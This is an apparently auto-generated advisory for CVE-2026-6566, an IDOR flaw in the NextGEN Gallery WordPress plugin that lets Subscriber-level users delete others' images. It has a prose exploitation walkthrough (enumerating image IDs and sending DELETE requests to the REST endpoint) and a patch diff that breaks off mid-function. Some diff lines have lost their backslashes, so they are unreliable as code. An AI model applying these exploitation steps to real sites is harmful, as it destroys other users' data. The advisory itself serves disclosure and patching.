Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 19, 2026

CVE-2026-6566: Photo Gallery, Sliders, Proofing and Themes <= 4.2.0 – Insecure Direct Object Reference to Authenticated (Subscriber+) Image Deletion via REST API (nextgen-gallery)

CVE ID CVE-2026-6566
Severity Medium (CVSS 4.3)
CWE 639
Vulnerable Version 4.2.0
Patched Version 4.2.1
Disclosed May 18, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-6566:

The NextGEN Gallery plugin for WordPress (versions up to and including 4.2.0) contains an Insecure Direct Object Reference (IDOR) vulnerability in its REST API image deletion endpoint. This allows authenticated attackers with Subscriber-level privileges who possess the ‘NextGEN Manage gallery’ capability to delete images belonging to other users. The vulnerability affects the DELETE /imagely/v1/images/{id} REST endpoint and carries a CVSS score of 4.3.

Root Cause:
The root cause is insufficient object-level authorization in the image deletion REST flow. The permission callback for the DELETE /imagely/v1/images/{id} endpoint only checks for the ‘NextGEN Manage gallery’ capability without enforcing gallery ownership or requiring the ‘NextGEN Manage others gallery’ permission. The code diff shows that the patch adds a new authorization function ‘ngg_ajax_user_can_edit_image()’ in ‘nextgen-gallery/src/Legacy/admin/ajax.php’ (lines 8-46). This function resolves an image ID to its parent gallery’s author and checks if the current user can edit the image. The patched code also adds capability gates (current_user_can(‘manage_options’)) in several AJAX handlers across ‘src/Admin/AMNotifications.php’, ‘src/Admin/MenuNudge.php’, and ‘src/Admin/Onboarding_Wizard.php’.

Exploitation:
An attacker with a Subscriber-level account that has the ‘NextGEN Manage gallery’ capability can send a DELETE request to the REST API endpoint /wp-json/imagely/v1/images/{id} where {id} is the numeric ID of any gallery image. The attacker can enumerate image IDs (which are sequential integers) and delete images belonging to other users. The default configuration has ‘deleteImg’ enabled, which means the actual image files on disk are also deleted, not just the database records. The exploit requires no special parameters beyond the image ID in the URL path.

Patch Analysis:
The patch introduces a new authorization function ‘ngg_ajax_user_can_edit_image()’ in ‘ajax.php’ that performs ownership verification. This function retrieves the image, finds its parent gallery, checks the gallery’s author against the current user, and only allows the operation if the user owns the gallery or has the ‘NextGEN Manage others gallery’ capability. Additionally, the patch adds SQL injection hardening across multiple files (intval() casts, allowlist-based sanitization) and CSRF-bypass hardening in admin AJAX handlers (capability checks before option writes and plugin operations).

Impact:
Successful exploitation allows an authenticated attacker to delete arbitrary gallery images belonging to other users. With the default ‘deleteImg’ setting enabled, this also permanently removes the associated image files from the server’s filesystem. This constitutes unauthorized data destruction and can lead to denial of service for affected galleries. The attack does not require elevated privileges beyond those already granted to certain Subscriber-level roles or custom user roles with the ‘NextGEN Manage gallery’ capability.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/nextgen-gallery/adminApp/build/dependencies.php
+++ b/nextgen-gallery/adminApp/build/dependencies.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '713cb6f59506e3d395e8');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => 'f7afa128be1833048fd9');
--- a/nextgen-gallery/nggallery.php
+++ b/nextgen-gallery/nggallery.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: NextGEN Gallery
  * Description: The most popular gallery plugin for WordPress and one of the most popular plugins of all time with over 30 million downloads.
- * Version: 4.2.0
+ * Version: 4.2.1
  * Author: Imagely
  * Plugin URI: https://www.imagely.com/wordpress-gallery-plugin/nextgen-gallery/?utm_source=ngglite&utm_medium=pluginlist&utm_campaign=pluginuri
  * Author URI: https://www.imagely.com/?utm_source=ngglite&utm_medium=pluginlist&utm_campaign=authoruri
@@ -1221,7 +1221,7 @@
 		define( 'NGG_PRODUCT_DIR', implode( DIRECTORY_SEPARATOR, [ rtrim( NGG_PLUGIN_DIR, '/\' ), 'products' ] ) );
 		define( 'NGG_MODULE_DIR', implode( DIRECTORY_SEPARATOR, [ rtrim( NGG_PRODUCT_DIR, '/\' ), 'photocrati_nextgen', 'modules' ] ) );
 		define( 'NGG_PLUGIN_STARTED_AT', microtime() );
-		define( 'NGG_PLUGIN_VERSION', '4.2.0' );
+		define( 'NGG_PLUGIN_VERSION', '4.2.1' );

 		$random_version = function_exists( 'wp_rand' ) ? wp_rand( 0, mt_getrandmax() ) : mt_rand( 0, mt_getrandmax() ); // phpcs:ignore WordPress.WP.AlternativeFunctions.rand_mt_rand
 		define( 'NGG_SCRIPT_VERSION', defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? (string) $random_version : NGG_PLUGIN_VERSION );
--- a/nextgen-gallery/products/photocrati_nextgen/modules/legacy_compat/package.module.legacy_compat.php
+++ b/nextgen-gallery/products/photocrati_nextgen/modules/legacy_compat/package.module.legacy_compat.php
@@ -722,8 +722,10 @@
                     $total = $wpdb->get_var("SELECT COUNT(`pid`) FROM {$wpdb->nggpictures} {$old_where_sql}");
                     $image_ids = [];
                     if ($total <= $limit) {
+                        $total_int = (int) $total;
+                        // SQLi hardening: cast COUNT() result to int before LIMIT interpolation.
                         // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.DirectQuery
-                        $image_ids = $wpdb->get_col("SELECT `pictures`.`pid` FROM {$wpdb->nggpictures} `pictures` {$old_where_sql} LIMIT {$total}");
+                        $image_ids = $wpdb->get_col("SELECT `pictures`.`pid` FROM {$wpdb->nggpictures} `pictures` {$old_where_sql} LIMIT {$total_int}");
                     } else {
                         // Start retrieving random ID from the DB and hope they exist; continue looping until our count is full.
                         $segments = ceil($limit / 4);
@@ -744,12 +746,21 @@
                     // in the same images being retrieved for the duration of that page execution.
                     self::$_random_image_ids_cache[$id] = $image_ids;
                 }
-                $image_ids = implode(',', $image_ids);
-                // Replace the existing WHERE clause with one where aready retrieved "random" PID are included.
-                $mapper->_where_clauses = [" {$noExtras} `{$image_key}` IN ({$image_ids}) {$noExtras}"];
+                // SQLi hardening: force every PID to int before IN() interpolation — prepare() cannot parameterize a comma-joined list.
+                $int_ids = array_filter(array_map('intval', (array) $image_ids));
+                if (empty($int_ids)) {
+                    // Guard against invalid SQL from an empty IN() list.
+                    $mapper->_where_clauses = [' 1=0'];
+                } else {
+                    $image_ids = implode(',', $int_ids);
+                    // Replace the existing WHERE clause with one where aready retrieved "random" PID are included.
+                    $mapper->_where_clauses = [" {$noExtras} `{$image_key}` IN ({$image_ids}) {$noExtras}"];
+                }
             } else {
+                $limit_int = (int) $limit;
+                // SQLi hardening: cast LIMIT to int; callers may pass shortcode/REST maximum_entity_count.
                 // Replace the existing WHERE clause with one that selects from a sub-query that is randomly ordered.
-                $sub_where = "SELECT `{$image_key}` FROM `{$table_name}` i {$old_where_sql} ORDER BY RAND() LIMIT {$limit}";
+                $sub_where = "SELECT `{$image_key}` FROM `{$table_name}` i {$old_where_sql} ORDER BY RAND() LIMIT {$limit_int}";
                 $mapper->_where_clauses = [" {$noExtras} `{$image_key}` IN (SELECT `{$image_key}` FROM ({$sub_where}) o) {$noExtras}"];
             }
         }
@@ -790,6 +801,8 @@
     {
         global $wpdb;
         $mod = wp_rand(3, 9);
+        $limit_int = (int) $limit;
+        // SQLi hardening: cast LIMIT to int — callers may pass derived user input.
         if (empty($where_sql)) {
             $where_sql = 'WHERE 1=1';
         }
@@ -797,7 +810,7 @@
         //
         // phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.DirectQuery
-        return $wpdb->get_col("SELECT `pictures`.`pid` from {$wpdb->nggpictures} `pictures`n                    JOIN (SELECT CEIL(MAX(`pid`) * RAND()) AS `pid` FROM {$wpdb->nggpictures}) AS `x` ON `pictures`.`pid` >= `x`.`pid`n                    {$where_sql}n                    AND `pictures`.`pid` MOD {$mod} = 0n                    LIMIT {$limit}");
+        return $wpdb->get_col("SELECT `pictures`.`pid` from {$wpdb->nggpictures} `pictures`n                    JOIN (SELECT CEIL(MAX(`pid`) * RAND()) AS `pid` FROM {$wpdb->nggpictures}) AS `x` ON `pictures`.`pid` >= `x`.`pid`n                    {$where_sql}n                    AND `pictures`.`pid` MOD {$mod} = 0n                    LIMIT {$limit_int}");
         // phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
     }
     /**
--- a/nextgen-gallery/products/photocrati_nextgen/modules/nextgen_admin/templates/mailchimp_optin.php
+++ b/nextgen-gallery/products/photocrati_nextgen/modules/nextgen_admin/templates/mailchimp_optin.php
@@ -125,7 +125,7 @@

 			success: function(result) {
 				if (result.result === "success") {
-					fetch('<?php print esc_js( $dismiss_url ); ?>', {
+					fetch(<?php echo wp_json_encode( esc_url_raw( $dismiss_url ) ); ?>, { // esc_url_raw — URL sanitize; wp_json_encode — JS-string context (URL, not HTML attr) with surrounding quotes.
 						method: 'post',
 						cache: 'no-cache'
 					}).then(function(result) { return result.json(); }).then(function(data) {
--- a/nextgen-gallery/products/photocrati_nextgen/modules/nextgen_basic_album/package.module.nextgen_basic_album.php
+++ b/nextgen-gallery/products/photocrati_nextgen/modules/nextgen_basic_album/package.module.nextgen_basic_album.php
@@ -316,7 +316,8 @@
             $dg = $gallery->displayed_gallery;
             $id = $dg->id();
             $retval .= 'galleries.gallery_' . $id . ' = ' . wp_json_encode($dg->get_entity()) . ';';
-            $retval .= 'galleries.gallery_' . $id . '.wordpress_page_root = "' . get_permalink() . '";';
+            $retval .= 'galleries.gallery_' . $id . '.wordpress_page_root = ' . wp_json_encode((string) get_permalink()) . ';';
+            // wp_json_encode — JS-string context; raw permalink could contain ",  breaking literal.
         }
         $retval .= '}, false);</script>';
         return $retval;
--- a/nextgen-gallery/src/Admin/AMNotifications.php
+++ b/nextgen-gallery/src/Admin/AMNotifications.php
@@ -461,6 +461,11 @@
 		// Run a security check.
 		check_ajax_referer( 'nextgen_dismiss_notification', 'nonce' );

+		// Capability gate added: has_access() only checks an option filter, not user caps — require manage_options before option write.
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( '', 403 );
+		}
+
 		// Check for access and required param.
 		if ( ! $this->has_access() || empty( $_POST['id'] ) ) {
 			wp_send_json_error();
--- a/nextgen-gallery/src/Admin/About.php
+++ b/nextgen-gallery/src/Admin/About.php
@@ -644,7 +644,12 @@

 		// Activate the addon.
 		if ( isset( $_POST['basename'] ) ) {
-			$activate = activate_plugin( sanitize_text_field( wp_unslash( $_POST['basename'] ) ) );
+			$basename_raw = sanitize_text_field( wp_unslash( $_POST['basename'] ) ); // Ingestion-point sanitize before any comparison/use.
+			// CSRF-bypass hardening: restrict activation to the partner plugin allowlist so a stolen nonce can't activate an unrelated installed plugin.
+			if ( ! in_array( $basename_raw, $this->get_am_plugin_basenames(), true ) ) {
+				wp_send_json_error( [ 'message' => esc_html__( 'Plugin is not in the allowed list.', 'nggallery' ) ] );
+			}
+			$activate = activate_plugin( $basename_raw );

 			if ( is_wp_error( $activate ) ) {
 				echo wp_json_encode( [ 'error' => $activate->get_error_message() ] );
@@ -656,6 +661,32 @@
 		die;
 	}

+	/**
+	 * Build allowlist of partner plugin basenames advertised by the About page.
+	 *
+	 * Used to constrain activate_plugin()/deactivate_plugins() inputs so the CSRF-protected
+	 * partner actions cannot be abused to toggle arbitrary plugins installed on the site.
+	 *
+	 * @return array<int,string>
+	 */
+	private function get_am_plugin_basenames() {
+		$basenames = [];
+		foreach ( $this->get_am_plugins() as $key => $partner ) {
+			// Array key is sometimes the basename itself (legacy entries), sometimes a slug.
+			if ( is_string( $key ) && false !== strpos( $key, '.php' ) ) {
+				$basenames[] = $key;
+			}
+			if ( ! empty( $partner['basename'] ) && is_string( $partner['basename'] ) ) {
+				$basenames[] = $partner['basename'];
+			}
+			// Pro variant basename lives under `pro.plug` in get_am_plugins().
+			if ( ! empty( $partner['pro']['plug'] ) && is_string( $partner['pro']['plug'] ) ) {
+				$basenames[] = $partner['pro']['plug'];
+			}
+		}
+		return array_values( array_unique( $basenames ) );
+	}
+

 	/**
 	 * Helper method to deactivate partner
@@ -674,7 +705,12 @@

 		// Deactivate the addon.
 		if ( isset( $_POST['basename'] ) ) {
-			deactivate_plugins( sanitize_text_field( wp_unslash( $_POST['basename'] ) ) );
+			$basename_raw = sanitize_text_field( wp_unslash( $_POST['basename'] ) ); // Sanitize at ingestion.
+			// CSRF-bypass hardening: same allowlist as activate_am_plugin() to prevent toggling unrelated plugins.
+			if ( ! in_array( $basename_raw, $this->get_am_plugin_basenames(), true ) ) {
+				wp_send_json_error( [ 'message' => esc_html__( 'Plugin is not in the allowed list.', 'nggallery' ) ] );
+			}
+			deactivate_plugins( $basename_raw );
 		}

 		echo wp_json_encode( true );
@@ -700,6 +736,35 @@
 		if ( isset( $_POST['download_url'] ) ) {

 			$download_url = esc_url_raw( wp_unslash( $_POST['download_url'] ) );
+
+			// Host+path allowlist: restrict installable package source to specific distribution paths so a future
+			// arbitrary file upload, open redirect, or media attachment on a broad host (wordpress.org, imagely.com)
+			// cannot be coerced into installing an attacker-controlled plugin zip via admin CSRF.
+			$parsed_dl_url = wp_parse_url( $download_url );
+			$dl_host       = isset( $parsed_dl_url['host'] ) ? strtolower( $parsed_dl_url['host'] ) : '';
+			$dl_scheme     = isset( $parsed_dl_url['scheme'] ) ? strtolower( $parsed_dl_url['scheme'] ) : '';
+			$dl_path       = isset( $parsed_dl_url['path'] ) ? $parsed_dl_url['path'] : '';
+
+			// Tuples of [host, path-prefix-regex]. Path must end in .zip after the .zip-only suffix check below.
+			$allowed_sources = [
+				[ 'downloads.wordpress.org', '#^/plugin/[A-Za-z0-9._-]+.zip$#' ],
+				[ 'www.imagely.com', '#^/(downloads|dl)/[A-Za-z0-9._/-]+.zip$#' ],
+				[ 'imagely.com', '#^/(downloads|dl)/[A-Za-z0-9._/-]+.zip$#' ],
+			];
+
+			$source_ok = false;
+			if ( 'https' === $dl_scheme ) {
+				foreach ( $allowed_sources as $allowed ) {
+					if ( $dl_host === $allowed[0] && preg_match( $allowed[1], $dl_path ) ) {
+						$source_ok = true;
+						break;
+					}
+				}
+			}
+			if ( ! $source_ok ) {
+				wp_send_json_error( [ 'message' => esc_html__( 'Download URL is not from an allowed host.', 'nggallery' ) ] );
+			}
+
 			global $hook_suffix;

 			// Set the current screen to avoid undefined notices.
@@ -740,6 +805,16 @@
 			if ( $installer->plugin_info() ) {
 				$plugin_basename = $installer->plugin_info();

+				// Activate only basenames registered in get_am_plugins(); same gate sibling activate/deactivate use.
+				if ( ! in_array( $plugin_basename, $this->get_am_plugin_basenames(), true ) ) {
+					wp_send_json_error(
+						[
+							'message' => esc_html__( 'Installed plugin is not in the partner allowlist; activation skipped.', 'nggallery' ),
+							'plugin'  => $plugin_basename,
+						]
+					);
+				}
+
 				$active = activate_plugin( $plugin_basename, false, false, true );

 				wp_send_json_success( [ 'plugin' => $plugin_basename ] );
--- a/nextgen-gallery/src/Admin/MenuNudge.php
+++ b/nextgen-gallery/src/Admin/MenuNudge.php
@@ -284,6 +284,10 @@
 	 */
 	public function mark_admin_menu_tooltip_hidden() {
 		check_ajax_referer( 'ngg-tooltip-admin-nonce', 'nonce' );
+		// Capability gate added: nonce alone insufficient — enforce manage_options before option write.
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( '', 403 );
+		}
 		update_option( 'ngg_admin_menu_tooltip', time() );
 		wp_send_json_success();
 	}
--- a/nextgen-gallery/src/Admin/Onboarding_Wizard.php
+++ b/nextgen-gallery/src/Admin/Onboarding_Wizard.php
@@ -557,12 +557,18 @@
 			// Sanitize data, plugins is a string delimited by comma.

 			$plugins = explode( ',', sanitize_text_field( wp_unslash( $_POST['plugins'] ) ) );
+			// Allowlist: only slugs returned by get_recommended_plugins() may be installed via this endpoint; prevents arbitrary wp.org plugin install from attacker-supplied slug.
+			$allowed_slugs = array_keys( $this->get_recommended_plugins() );
 			// Install the plugins.
 			foreach ( $plugins as $plugin ) {
+				$plugin = sanitize_key( $plugin ); // Enforce slug charset (a-z0-9_-) so crafted values cannot break out of the downloads.wordpress.org URL path.
+				if ( ! in_array( $plugin, $allowed_slugs, true ) ) {
+					continue; // Reject any slug not in the recommended allowlist.
+				}
 				if ( '' !== $this->is_recommended_plugin_installed( $plugin ) ) {
 					continue; // Skip the plugin if it is already installed.
 				}
-				// Generate the plugin URL by slug.
+				// Generate the plugin URL by slug (slug now validated against allowlist above).
 				$url = 'https://downloads.wordpress.org/plugin/' . $plugin . '.zip';
 				$this->install_helper( $url );

@@ -605,6 +611,12 @@
 	 * Uses shared LicenseHelper utility for license verification and installation.
 	 */
 	public function ngg_plugin_verify_license_key() {
+		// Capability guard: handler installs/activates plugins and writes license options; restrict to site admins, matching sibling onboarding handlers (save_onboarding_data, install_recommended_plugins).
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( 'You do not have permission to verify license keys' );
+			wp_die();
+		}
+
 		if (
 			! isset( $_POST['nextgen-gallery-license-key'], $_POST['nonce'] )
 			|| ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'nextgen-galleryOnboardingCheck' )
--- a/nextgen-gallery/src/Admin/Shortcode_Preview.php
+++ b/nextgen-gallery/src/Admin/Shortcode_Preview.php
@@ -255,7 +255,7 @@
 					<?php echo esc_html( $debug_data['raw_shortcode'] ); ?>
 					<br>
 					<br>
-					<?php echo $debug_data['sorted_shortcode']; //phpcs:ignore ?>
+					<?php echo wp_kses( $debug_data['sorted_shortcode'], [ 'br' => [] ] ); // Fixed: was raw echo of user-derived shortcode params joined by <br>; wp_kses entity-encodes quotes/amps while preserving intended <br> separators. ?>
 				</div>
 				<?php endif; ?>
 			</div>
--- a/nextgen-gallery/src/DataMapper/DriverBase.php
+++ b/nextgen-gallery/src/DataMapper/DriverBase.php
@@ -201,7 +201,8 @@
 	 * @return string
 	 */
 	public function _clean_column( $val ) {
-		return str_replace( [ ';', "'", '"', '`' ], [ '' ], $val );
+		// Security fix (SQLi): replace blacklist with identifier whitelist. Only allow [A-Za-z0-9_] to prevent injection into ORDER BY/column contexts.
+		return preg_replace( '/[^A-Za-z0-9_]/', '', (string) $val );
 	}

 	/**
--- a/nextgen-gallery/src/DataMapper/TableDriver.php
+++ b/nextgen-gallery/src/DataMapper/TableDriver.php
@@ -163,16 +163,29 @@
 		// We treat the rand() function as an exception.
 		if ( preg_match( '/rand(s*)/', $order_by ) ) {
 			$order = 'rand()';
+		} elseif ( preg_match( "/^FIELD\(\s*[`']?([A-Za-z_][A-Za-z0-9_]*)[`']?\s*,\s*([0-9,\s]+)\)$/", (string) $order_by, $m ) ) {
+			// Security fix (SQLi): allow the legacy FIELD(<ident>, <int-list>) form used for preserving IN() result order. Both identifier and integer list are strictly validated so no user-controlled string can reach SQL here.
+			$ident   = $m[1];
+			$ints    = array_filter( array_map( 'intval', preg_split( '/s*,s*/', trim( $m[2] ) ) ) );
+			$int_csv = implode( ',', $ints );
+			$order   = "FIELD(`{$ident}`, {$int_csv})";
 		} else {
+			// Security fix (SQLi): identifier whitelist via _clean_column leaves only [A-Za-z0-9_], safe to inline in ORDER BY without requiring has_column() (aliased SELECT columns like 'new_sortorder'/'ordered_by' are legitimate but not in _table_columns).
 			$order_by = $this->_clean_column( $order_by );
-
-			// If the order by clause is a column, then it should be backticked.
+			if ( '' === $order_by ) {
+				// Empty after sanitization — refuse to build clause to avoid SQL error and potential open-ORDER-BY.
+				return $this;
+			}
 			if ( $this->has_column( $order_by ) ) {
 				$order_by = "`{$order_by}`";
 			}

-			$direction = $this->_clean_column( $direction );
-			$order     = "{$order_by} {$direction}";
+			// Security fix (SQLi): strict whitelist for direction; default to ASC if not exactly ASC/DESC.
+			$direction = strtoupper( $this->_clean_column( $direction ) );
+			if ( 'ASC' !== $direction && 'DESC' !== $direction ) {
+				$direction = 'ASC';
+			}
+			$order = "{$order_by} {$direction}";
 		}

 		$this->order_clauses[] = $order;
@@ -234,25 +247,56 @@
 	public function add_where_clause( $where_clauses, $join ) {
 		$clauses = [];

+		// Security fix (SQLi defense-in-depth): allowlist of comparators. Anything outside this list is
+		// coerced to '=' so caller-supplied $compare cannot inject query-shape-changing fragments.
+		$allowed_compares = [ '=', '!=', '<>', '<', '<=', '>', '>=', 'IN', 'NOT IN', 'BETWEEN', 'LIKE', 'NOT LIKE', 'IS', 'IS NOT' ];
+
 		foreach ( $where_clauses as $clause ) {
-			extract( $clause );
+			// Replaced extract() with explicit reads: extract() on a structured array is a foot-gun and would clobber locals if upstream schema gains new keys.
+			$column  = isset( $clause['column'] ) ? $clause['column'] : '';
+			$value   = isset( $clause['value'] ) ? $clause['value'] : '';
+			$compare = isset( $clause['compare'] ) ? $clause['compare'] : '=';
+			$type    = isset( $clause['type'] ) ? $clause['type'] : 'string';
+
+			// Security fix (SQLi defense-in-depth): identifier hardening for $column. Schema-defined
+			// columns are backticked as before; everything else is forced through the same identifier
+			// allowlist used by order_by() ([A-Za-z0-9_]). Empty result drops the clause rather than
+			// concatenating raw caller input into SQL.
 			if ( $this->has_column( $column ) ) {
 				$column = "`{$column}`";
+			} else {
+				$column = $this->_clean_column( (string) $column );
+				if ( '' === $column ) {
+					continue;
+				}
+				$column = "`{$column}`";
 			}
+
+			// Security fix (SQLi defense-in-depth): strict comparator allowlist (was: any string passed
+			// through). Normalize to upper-case + trim before lookup so 'in' / ' IN ' still match.
+			$compare = strtoupper( trim( (string) $compare ) );
+			if ( ! in_array( $compare, $allowed_compares, true ) ) {
+				$compare = '=';
+			}
+
 			if ( ! is_array( $value ) ) {
 				$value = [ $value ];
 			}

 			foreach ( $value as $index => $v ) {
-				$v               = $clause['type'] == 'numeric' ? $v : "'{$v}'";
+				// esc_sql + single-quote wrap for string values; raw cast for numeric. Prevents SQLi when callers pass user-influenced strings.
+				$v               = ( 'numeric' === $type ) ? (float) $v : "'" . esc_sql( $v ) . "'";
 				$value[ $index ] = $v;
 			}

-			if ( $compare == 'BETWEEN' ) {
+			if ( 'BETWEEN' === $compare ) {
 				$value = "{$value[0]} AND {$value[1]}";
 			} else {
 				$value = implode( ', ', $value );
-				if ( strpos( $compare, 'IN' ) !== false ) {
+				// Exact match on the comparator string (not substring) so values like 'INFO' / 'INSERT'
+				// never sneak through into IN-style parenthesization. After normalization above the
+				// only IN-family entries are 'IN' and 'NOT IN'.
+				if ( 'IN' === $compare || 'NOT IN' === $compare ) {
 					$value = "({$value})";
 				}
 			}
--- a/nextgen-gallery/src/DataTypes/DisplayedGallery.php
+++ b/nextgen-gallery/src/DataTypes/DisplayedGallery.php
@@ -559,8 +559,9 @@
 					$image_ids = [];

 					if ( $total <= $limit ) {
+						$total_int = (int) $total; // SQLi hardening: cast COUNT() result to int before LIMIT interpolation.
 						// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.DirectQuery
-						$image_ids = $wpdb->get_col( "SELECT `pictures`.`pid` FROM {$wpdb->nggpictures} `pictures` {$old_where_sql} LIMIT {$total}" );
+						$image_ids = $wpdb->get_col( "SELECT `pictures`.`pid` FROM {$wpdb->nggpictures} `pictures` {$old_where_sql} LIMIT {$total_int}" );
 					} else {
 						// Start retrieving random ID from the DB and hope they exist; continue looping until our count is full.
 						$segments        = ceil( $limit / 4 );
@@ -585,13 +586,20 @@
 					self::$_random_image_ids_cache[ $id ] = $image_ids;
 				}

-				$image_ids = implode( ',', $image_ids );
-
-				// Replace the existing WHERE clause with one where aready retrieved "random" PID are included.
-				$mapper->where_clauses = [ " {$noExtras} `{$image_key}` IN ({$image_ids}) {$noExtras}" ];
+				// SQLi hardening: force every PID to int before IN() interpolation — prepare() cannot parameterize a comma-joined list.
+				$int_ids = array_filter( array_map( 'intval', (array) $image_ids ) );
+				if ( empty( $int_ids ) ) {
+					// Guard against invalid SQL from an empty IN() list.
+					$mapper->where_clauses = [ ' 1=0' ];
+				} else {
+					$image_ids = implode( ',', $int_ids );
+					// Replace the existing WHERE clause with one where aready retrieved "random" PID are included.
+					$mapper->where_clauses = [ " {$noExtras} `{$image_key}` IN ({$image_ids}) {$noExtras}" ];
+				}
 			} else {
+				$limit_int = (int) $limit; // SQLi hardening: cast LIMIT to int; callers may pass shortcode/REST maximum_entity_count.
 				// Replace the existing WHERE clause with one that selects from a sub-query that is randomly ordered.
-				$sub_where             = "SELECT `{$image_key}` FROM `{$table_name}` i {$old_where_sql} ORDER BY RAND() LIMIT {$limit}";
+				$sub_where             = "SELECT `{$image_key}` FROM `{$table_name}` i {$old_where_sql} ORDER BY RAND() LIMIT {$limit_int}";
 				$mapper->where_clauses = [ " {$noExtras} `{$image_key}` IN (SELECT `{$image_key}` FROM ({$sub_where}) o) {$noExtras}" ];
 			}
 		}
@@ -636,7 +644,8 @@
 	 */
 	public function _query_random_ids_for_cache( $limit = 10, $where_sql = '' ) {
 		global $wpdb;
-		$mod = wp_rand( 3, 9 );
+		$mod       = wp_rand( 3, 9 );
+		$limit_int = (int) $limit; // SQLi hardening: cast LIMIT to int — callers may pass derived user input.

 		if ( empty( $where_sql ) ) {
 			$where_sql = 'WHERE 1=1';
@@ -651,7 +660,7 @@
                     JOIN (SELECT CEIL(MAX(`pid`) * RAND()) AS `pid` FROM {$wpdb->nggpictures}) AS `x` ON `pictures`.`pid` >= `x`.`pid`
                     {$where_sql}
                     AND `pictures`.`pid` MOD {$mod} = 0
-                    LIMIT {$limit}"
+                    LIMIT {$limit_int}"
 		);
 		// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
 	}
--- a/nextgen-gallery/src/DynamicStylesheets/Controller.php
+++ b/nextgen-gallery/src/DynamicStylesheets/Controller.php
@@ -32,17 +32,27 @@
 		// gallery customization for style.
 		//
         // phpcs:disable WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotValidated, WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
-		$data = isset( $_REQUEST['data'] ) ? Sanitization::recursive_stripslashes( wp_unslash( $_REQUEST['data'] ) ) : null;
-		$name = isset( $_REQUEST['name'] ) ? Sanitization::recursive_stripslashes( wp_unslash( $_REQUEST['name'] ) ) : null;
+		// Force scalar + unslash + strip; reject arrays/objects to prevent type-juggling into template lookup/decode.
+		$raw_data = isset( $_REQUEST['data'] ) && is_scalar( $_REQUEST['data'] ) ? (string) wp_unslash( $_REQUEST['data'] ) : null;
+		$raw_name = isset( $_REQUEST['name'] ) && is_scalar( $_REQUEST['name'] ) ? (string) wp_unslash( $_REQUEST['name'] ) : null;
+		$data     = null !== $raw_data ? Sanitization::recursive_stripslashes( $raw_data ) : null;
+		// sanitize_key restricts template name to [a-z0-9_-], blocks path traversal / unexpected chars in array key lookup.
+		$name = null !== $raw_name ? sanitize_key( Sanitization::recursive_stripslashes( $raw_name ) ) : null;
 		// phpcs:enable WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotValidated, WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized

-		if ( isset( $data ) && isset( $name ) ) {
+		if ( isset( $data ) && isset( $name ) && '' !== $name ) {
 			$manager = Manager::get_instance( 'all' );

+			// Whitelist: only render if name maps to a registered template; prevents undefined-offset + arbitrary template key lookup.
+			$template = $manager->get_css_template( $name );
+			if ( false === $template || null === $template ) {
+				return;
+			}
+
 			if ( C_NextGEN_Bootstrap::get_pro_api_version() < 4.0 ) {
-				$view = new C_MVC_View( $manager->get_css_template( $name ), $manager->decode( $data ) );
+				$view = new C_MVC_View( $template, $manager->decode( $data ) );
 			} else {
-				$view = new View( $manager->get_css_template( $name ), $manager->decode( $data ) );
+				$view = new View( $template, $manager->decode( $data ) );
 			}

 			return $view->render( $return_output );
--- a/nextgen-gallery/src/DynamicStylesheets/Manager.php
+++ b/nextgen-gallery/src/DynamicStylesheets/Manager.php
@@ -55,7 +55,8 @@
 	 * @return string|false The template path or false if not found.
 	 */
 	public function get_css_template( $name ) {
-		return $this->templates[ $name ];
+		// isset guard prevents PHP warning + undefined-index leak on unregistered names; returns false so callers can reject.
+		return isset( $this->templates[ $name ] ) ? $this->templates[ $name ] : false;
 	}

 	/**
--- a/nextgen-gallery/src/Legacy/admin/ajax.php
+++ b/nextgen-gallery/src/Legacy/admin/ajax.php
@@ -2,6 +2,46 @@
 add_action( 'wp_ajax_ngg_ajax_operation', 'ngg_ajax_operation' );

 /**
+ * Resolve an NGG image id to its parent gallery's author and check current user can edit.
+ *
+ * Owner of the parent gallery, or holder of 'NextGEN Manage others gallery', passes.
+ * Missing image returns true so the caller emits its own not-found response shape.
+ *
+ * @param int $image_id NGG picture id (pid).
+ * @return bool
+ */
+function ngg_ajax_user_can_edit_image( $image_id ) {
+	$image_id = (int) $image_id;
+	if ( $image_id <= 0 ) {
+		return false;
+	}
+
+	$image = nggdb::find_image( $image_id );
+	if ( ! $image ) {
+		return true;
+	}
+
+	$gallery_id = isset( $image->galleryid ) ? (int) $image->galleryid : 0;
+	if ( $gallery_id <= 0 ) {
+		// phpcs:ignore WordPress.WP.Capabilities.Unknown
+		return current_user_can( 'NextGEN Manage others gallery' );
+	}
+
+	$gallery = ImagelyNGGDataMappersGallery::get_instance()->find( $gallery_id );
+	if ( ! $gallery ) {
+		// phpcs:ignore WordPress.WP.Capabilities.Unknown
